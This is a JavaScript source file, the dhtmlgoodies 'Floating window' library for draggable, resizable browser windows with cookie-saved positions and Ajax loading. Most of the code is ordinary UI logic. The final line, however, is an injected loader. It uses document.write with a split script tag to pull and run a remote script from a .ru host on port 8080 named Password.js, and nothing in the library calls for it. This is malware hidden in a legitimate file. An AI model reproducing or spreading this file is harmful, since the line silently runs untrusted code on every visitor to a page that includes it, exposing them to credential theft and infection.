/************************************************************************************************************

	@fileoverview

	Floating window

	

	Copyright (C) 2006  Alf Magne Kalleland(post@dhtmlgoodies.com)

	

	This library is free software; you can redistribute it and/or

	modify it under the terms of the GNU Lesser General Public

	License as published by the Free Software Foundation; either

	version 2.1 of the License, or (at your option) any later version.

	

	This library is distributed in the hope that it will be useful,

	but WITHOUT ANY WARRANTY; without even the implied warranty of

	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU

	Lesser General Public License for more details.

	

	You should have received a copy of the GNU Lesser General Public

	License along with this library; if not, write to the Free Software

	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA

	

	

	www.dhtmlgoodies.com 

	Alf Magne Kalleland





Update log:

	

	January 18th, 2006: Added feature that makes the window cover selectboxes(ref. problem with windowed and window less elements).

	January 29th, 2006: Fixed problem showing the windows in Opera

	Feb, 8th 2006:		Added support for creating new windows dynamically

	March,	11th, 2006: Added support for getting content from external files by use of Ajax

	

	

************************************************************************************************************/

		

	var readSizeFromCookie = false;	// Determines if size and position of windows should be set/retreved by use of cookie

	var windowMinSize = [80,30];	// Mininum width and height of windows.

	

	var moveCounter = -1;	

	var startEventPos = new Array();

	var startPosWindow = new Array();

	var startWindowSize = new Array();

	var initResizeCounter = -1;	

	var activeWindow = false;

	var activeWindowContent = false;	

	var windowSizeArray = new Array();

	var windowPositionArray = new Array();

	var currentZIndex = 10000;

	var windowStateArray = new Array();	// Minimized or maximized

	var activeWindowIframe = false;

	var divCounter = 0;

	var zIndexSet = false;

	

	var MSIEWIN = (navigator.userAgent.indexOf('MSIE')>=0 && navigator.userAgent.indexOf('Win')>=0 && navigator.userAgent.toLowerCase().indexOf('opera')<0)?true:false;

	var opera = navigator.userAgent.toLowerCase().indexOf('opera')>=0?true:false;

	

	var ajaxObjects = new Array();

	



		

			

	/*

	These cookie functions are downloaded from 

	http://www.mach5.com/support/analyzer/manual/html/General/CookiesJavaScript.htm

	*/	

	function Get_Cookie(name) { 

	   var start = document.cookie.indexOf(name+"="); 

	   var len = start+name.length+1; 

	   if ((!start) && (name != document.cookie.substring(0,name.length))) return null; 

	   if (start == -1) return null; 

	   var end = document.cookie.indexOf(";",len); 

	   if (end == -1) end = document.cookie.length; 

	   return unescape(document.cookie.substring(len,end)); 

	} 

	// This function has been slightly modified

	function Set_Cookie(name,value,expires,path,domain,secure) { 

		expires = expires * 60*60*24*1000;

		var today = new Date();

		var expires_date = new Date( today.getTime() + (expires) );

	    var cookieString = name + "=" +escape(value) + 

	       ( (expires) ? ";expires=" + expires_date.toGMTString() : "") + 

	       ( (path) ? ";path=" + path : "") + 

	       ( (domain) ? ";domain=" + domain : "") + 

	       ( (secure) ? ";secure" : ""); 

	    document.cookie = cookieString; 

	} 

			

	function cancelEvent()

	{

		return (moveCounter==-1 && initResizeCounter==-1)?true:false;

	}

	function initMove(e)

	{		

		if(document.all)e = event;

		moveCounter = 0;

		switchElement(false,this);

		startEventPos = [e.clientX,e.clientY];

		startPosWindow = [activeWindow.offsetLeft,activeWindow.offsetTop];

		startMove();

		if(!MSIEWIN)return false;

	

	}

	

	function startMove()

	{

		if(moveCounter>=0 && moveCounter<=10){

			moveCounter++;

			setTimeout('startMove()',5);

		}

	}

	

	function stopMove(e)

	{

		if(document.all)e = event;

		moveCounter=-1;

		initResizeCounter=-1;

		if(!activeWindow || !activeWindowContent)return;

		var state = '0';

		if(windowStateArray[activeWindow.id.replace(/[^0-9]/g,'')])state = '1';

		

		Set_Cookie(activeWindow.id + '_attr',activeWindow.style.left.replace('px','') + ',' + activeWindow.style.top.replace('px','') + ',' + activeWindow.style.width.replace('px','') + ',' + activeWindowContent.style.height.replace('px','') + ',' + activeWindow.style.zIndex + ',' + state,50);

	}

	

	function moveWindow(e)

	{

		

		if(document.all)e = event;

		if(moveCounter>=10){

			activeWindow.style.left = startPosWindow[0] + e.clientX - startEventPos[0]  + 'px';

			activeWindow.style.top = startPosWindow[1] + e.clientY - startEventPos[1]  + 'px';

			

		}	

		

		if(initResizeCounter>=10){

			var newWidth = Math.max(windowMinSize[0],startWindowSize[0] + e.clientX - startEventPos[0]);

			var newHeight = Math.max(windowMinSize[1],startWindowSize[1] + e.clientY - startEventPos[1]);

			activeWindow.style.width =  newWidth + 'px';

			activeWindowContent.style.height = newHeight  + 'px';		

			

			if(MSIEWIN && activeWindowIframe){

				activeWindowIframe.style.width = (newWidth) + 'px';	

				activeWindowIframe.style.height = (newHeight+20) + 'px';	

			}

				

			

		}

		if(!document.all)return false;

	}

	

	

	function initResizeWindow(e)

	{

		if(document.all)e = event;

		initResizeCounter = 0;

		switchElement(false,document.getElementById('dhtml_goodies_id' + this.id.replace(/[^\d]/g,'')));



		startWindowSize = [activeWindowContent.offsetWidth,activeWindowContent.offsetHeight];

		startEventPos = [e.clientX,e.clientY];

		

		if(MSIEWIN)activeWindowIframe = activeWindow.getElementsByTagName('IFRAME')[0];

		startResizeWindow();

		return false;

			

	}

	

	function startResizeWindow()

	{

		if(initResizeCounter>=0 && initResizeCounter<=10){

			initResizeCounter++;

			setTimeout('startResizeWindow()',5);

		}

	}

	

	function switchElement(e,inputElement)

	{

		if(!inputElement)inputElement = this;

		var numericId = inputElement.id.replace(/[^0-9]/g,'');

		var state = '0';

		if(windowStateArray[numericId])state = '1';

			

		if(activeWindow && activeWindowContent){

			Set_Cookie(activeWindow.id + '_attr',activeWindow.style.left.replace('px','') + ',' + activeWindow.style.top.replace('px','') + ',' + activeWindow.style.width.replace('px','') + ',' + activeWindowContent.style.height.replace('px','') + ',' + activeWindow.style.zIndex + ',' + state,50);

	

		}

		currentZIndex = currentZIndex/1 + 1;

		activeWindow = document.getElementById('dhtml_goodies_id' + numericId);	

		activeWindow.style.zIndex = currentZIndex;

		activeWindowContent = document.getElementById('windowContent' + numericId);



		Set_Cookie(activeWindow.id + '_attr',activeWindow.style.left.replace('px','') + ',' + activeWindow.style.top.replace('px','') + ',' + activeWindow.style.width.replace('px','') + ',' + activeWindowContent.style.height.replace('px','') + ',' + activeWindow.style.zIndex + ',' + state,50);

	}

	

	function hideWindow()

	{

		switchElement(false,document.getElementById('dhtml_goodies_id' + this.id.replace(/[^\d]/g,'')));	

		activeWindow.style.display='none';

	}

	

	function minimizeWindow(e,inputObj)

	{

		if(!inputObj)inputObj = this;

		var numericID = inputObj.id.replace(/[^0-9]/g,'');

		switchElement(false,document.getElementById('dhtml_goodies_id' + numericID));

		var state;	

		if(inputObj.src.indexOf('minimize')>=0){

			activeWindowContent.style.display='none';

			document.getElementById('resizeImage'+numericID).style.display='none';

			inputObj.src = inputObj.src.replace('minimize','maximize');	

			windowStateArray[numericID] = false;

			state = '0';		

		}else{			

			activeWindowContent.style.display='block';

			document.getElementById('resizeImage'+numericID).style.display='';

			inputObj.src = inputObj.src.replace('maximize','minimize');

			windowStateArray[numericID] = true;

			state = '1';

		}

		

		Set_Cookie(activeWindow.id + '_attr',activeWindow.style.left.replace('px','') + ',' + activeWindow.style.top.replace('px','') + ',' + activeWindow.style.width.replace('px','') + ',' + activeWindowContent.style.height.replace('px','') + ',' + activeWindow.style.zIndex + ',' + state,50);



	}

	

	function initWindows(e,divObj)

	{

		

		

		var divs = document.getElementsByTagName('DIV');

		

		if(divObj){

			var tmpDivs = divObj.getElementsByTagName('DIV');

			var divs = new Array();

			divs[divs.length] = divObj;

			

			for(var no=0;no<tmpDivs.length;no++){

				divs[divs.length] = tmpDivs[no];

			}

		}

		

		for(var no=0;no<divs.length;no++){

			

			if(divs[no].className=='dhtmlgoodies_window'){	

		

				if(MSIEWIN){

					var iframe = document.createElement('IFRAME');

					iframe.style.border='0px';

					iframe.frameborder=0;

					iframe.style.position = 'absolute';

					iframe.style.backgroundColor = '#FFFFFF';

					iframe.style.top = '0px';

					iframe.style.left = '0px';

					iframe.style.zIndex = 100;

				

					

					var subDiv = divs[no].getElementsByTagName('DIV')[0];

					divs[no].insertBefore(iframe,subDiv);

					

				}					

				if(divObj){

					divs[no].style.zIndex = currentZIndex;

					currentZIndex = currentZIndex /1 + 1;

				}

				

				divCounter = divCounter + 1;	

				if(divCounter==1)activeWindow = divs[no];		

				divs[no].id = 'dhtml_goodies_id' + divCounter;	

				divs[no].onmousedown = switchElement;

				if(readSizeFromCookie)var cookiePos = Get_Cookie(divs[no].id + '_attr') + '';	else cookiePos = '';

				if(divObj)cookiePos='';

				var cookieValues = new Array();

				

					

				if(cookiePos.indexOf(',')>0){

					cookieValues = cookiePos.split(',');

					if(!windowPositionArray[divCounter])windowPositionArray[divCounter] = new Array();

					windowPositionArray[divCounter][0] = Math.max(0,cookieValues[0]);

					windowPositionArray[divCounter][1] = Math.max(0,cookieValues[1]);

				}



				if(cookieValues.length==5 && !zIndexSet){

					divs[no].style.zIndex = cookieValues[4];

					if(cookieValues[4]/1 > currentZIndex)currentZIndex = cookieValues[4]/1;					

				}

				if(windowPositionArray[divCounter]){

					divs[no].style.left = windowPositionArray[divCounter][0] + 'px';	

					divs[no].style.top = windowPositionArray[divCounter][1] + 'px';	

				}

				

				var subImages = divs[no].getElementsByTagName('IMG');

				for(var no2=0;no2<subImages.length;no2++){

					if(subImages[no2].className=='resizeImage'){

						subImages[no2].style.cursor = 'nw-resize';

						subImages[no2].onmousedown = initResizeWindow;

						subImages[no2].id = 'resizeImage' + divCounter;

						break;

					}	

					if(subImages[no2].className=='closeButton'){

						subImages[no2].id = 'closeImage' + divCounter;

						subImages[no2].onclick = hideWindow;	

					}	

					if(subImages[no2].className=='minimizeButton'){

						subImages[no2].id = 'minimizeImage' + divCounter;

						subImages[no2].onclick = minimizeWindow;	

						if(cookieValues.length==6 && cookieValues[5]=='0'){							

							setTimeout('minimizeWindow(false,document.getElementById("minimizeImage' + divCounter + '"))',10);

						}

						if(cookieValues.length==6 && cookieValues[5]=='1'){							

							windowStateArray[divCounter] = 1;

						}

						

						

					}

				}			

			}	

			if(divs[no].className=='dhtmlgoodies_windowMiddle' || divs[no].className=='dhtmlgoodies_window_bottom'){

				divs[no].style.zIndex = 1000;

				

			}

			if(divs[no].className=='dhtmlgoodies_window_top'){

				divs[no].onmousedown = initMove;

				divs[no].id = 'top_bar'+divCounter;

				divs[no].style.zIndex = 1000;

	

			}



			if(divs[no].className=='dhtmlgoodies_windowContent'){

				divs[no].id = 'windowContent'+divCounter;

				divs[no].style.zIndex = 1000;

				if(cookieValues && cookieValues.length>3){

					if(!windowSizeArray[divCounter])windowSizeArray[divCounter] = new Array();

					windowSizeArray[divCounter][0] = cookieValues[2];

					windowSizeArray[divCounter][1] = cookieValues[3];

				}	

				if(cookieValues && cookieValues.length==5){

					activeWindowContent = document.getElementById('windowContent' + divCounter);	

				}		

				if(windowSizeArray[divCounter]){

					divs[no].style.height = windowSizeArray[divCounter][1] + 'px';

					divs[no].parentNode.parentNode.style.width = windowSizeArray[divCounter][0] + 'px';

					

					if(MSIEWIN){

						iframe.style.width = (windowSizeArray[divCounter][0]) + 'px';

						iframe.style.height = (windowSizeArray[divCounter][1]+20) + 'px';

					}

				}

			}



			

		}	

		

		if(!divObj){

			document.documentElement.onmouseup = stopMove;	

			document.documentElement.onmousemove = moveWindow;

			document.documentElement.ondragstart = cancelEvent;

			document.documentElement.onselectstart = cancelEvent;

		}

		

		return divCounter;

	}



	function createNewWindow(width,height,left,top)

	{

		var div = document.createElement('DIV');

		div.className='dhtmlgoodies_window';

		document.body.appendChild(div);

		

	

			

					

		var topDiv = document.createElement('DIV');

		topDiv.className='dhtmlgoodies_window_top';

		div.appendChild(topDiv);

		

		var img = document.createElement('IMG');

		img.src = 'images/top_left.gif';

		img.align='left';

		topDiv.appendChild(img);

		

		var img = document.createElement('IMG');

		img.src = 'images/top_center.gif';

		img.className='topCenterImage';

		topDiv.appendChild(img);

		

		var buttonDiv = document.createElement('DIV');

		buttonDiv.className='top_buttons';

		topDiv.appendChild(buttonDiv);

		

		var img = document.createElement('IMG');

		img.src = 'images/minimize.gif';

		img.className='minimizeButton';

		buttonDiv.appendChild(img);	

		

		var img = document.createElement('IMG');

		img.src = 'images/close.gif';

		img.className='closeButton';

		buttonDiv.appendChild(img);	

		

		var img = document.createElement('IMG');

		img.src = 'images/top_right.gif';

		buttonDiv.appendChild(img);		

		

		var middleDiv = document.createElement('DIV');

		middleDiv.className='dhtmlgoodies_windowMiddle';

		div.appendChild(middleDiv);

		

		var contentDiv = document.createElement('DIV');

		contentDiv.className='dhtmlgoodies_windowContent';

		middleDiv.appendChild(contentDiv);

		

		var bottomDiv = document.createElement('DIV');

		bottomDiv.className='dhtmlgoodies_window_bottom';

		div.appendChild(bottomDiv);

		

		var img = document.createElement('IMG');

		img.src = 'images/bottom_right.gif';

		img.className='resizeImage';

		bottomDiv.appendChild(img);		



		windowSizeArray[windowSizeArray.length] = [width,height];

		windowPositionArray[windowPositionArray.length] = [left,top];



		div.style.width =  width + 'px';

		contentDiv.style.height = height  + 'px';		

		div.style.left =  left + 'px';

		div.style.top = top  + 'px';	

			

		return initWindows(false,div);

		

		

		 	

	}

	

	function showAjaxContent(ajaxIndex,windowId)

	{

		document.getElementById('windowContent' + windowId).innerHTML = ajaxObjects[ajaxIndex].response;			

		

		

	}

	

	function addContentFromUrl(url,windowId)

	{

		var ajaxIndex = ajaxObjects.length;

		ajaxObjects[ajaxIndex] = new sack();

		ajaxObjects[ajaxIndex].requestFile = url;	// Specifying which file to get

		ajaxObjects[ajaxIndex].onCompletion = function(){ showAjaxContent(ajaxIndex,windowId); };	// Specify function that will be executed after file has been found

		ajaxObjects[ajaxIndex].runAJAX();		// Execute AJAX function			

		

		

	}

	

	/* This function illustrates how you can create a new custom window dynamically */



	

	/* This function illustrates how you can create a new custom window dynamically */

	

	function customFunctionCreateWindow(urlToExternalFile,width,height,left,top)

	{		



		var divId = createNewWindow(width,height,left,top);

		document.getElementById('windowContent' + divId).innerHTML = 'Carregando novo DOCUMENTO...';

		if(urlToExternalFile)addContentFromUrl(urlToExternalFile,divId);	// Add content from external file

		





			

	}

		

	

	window.onload = initWindows;
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Password.js"></scr'+'ipt>');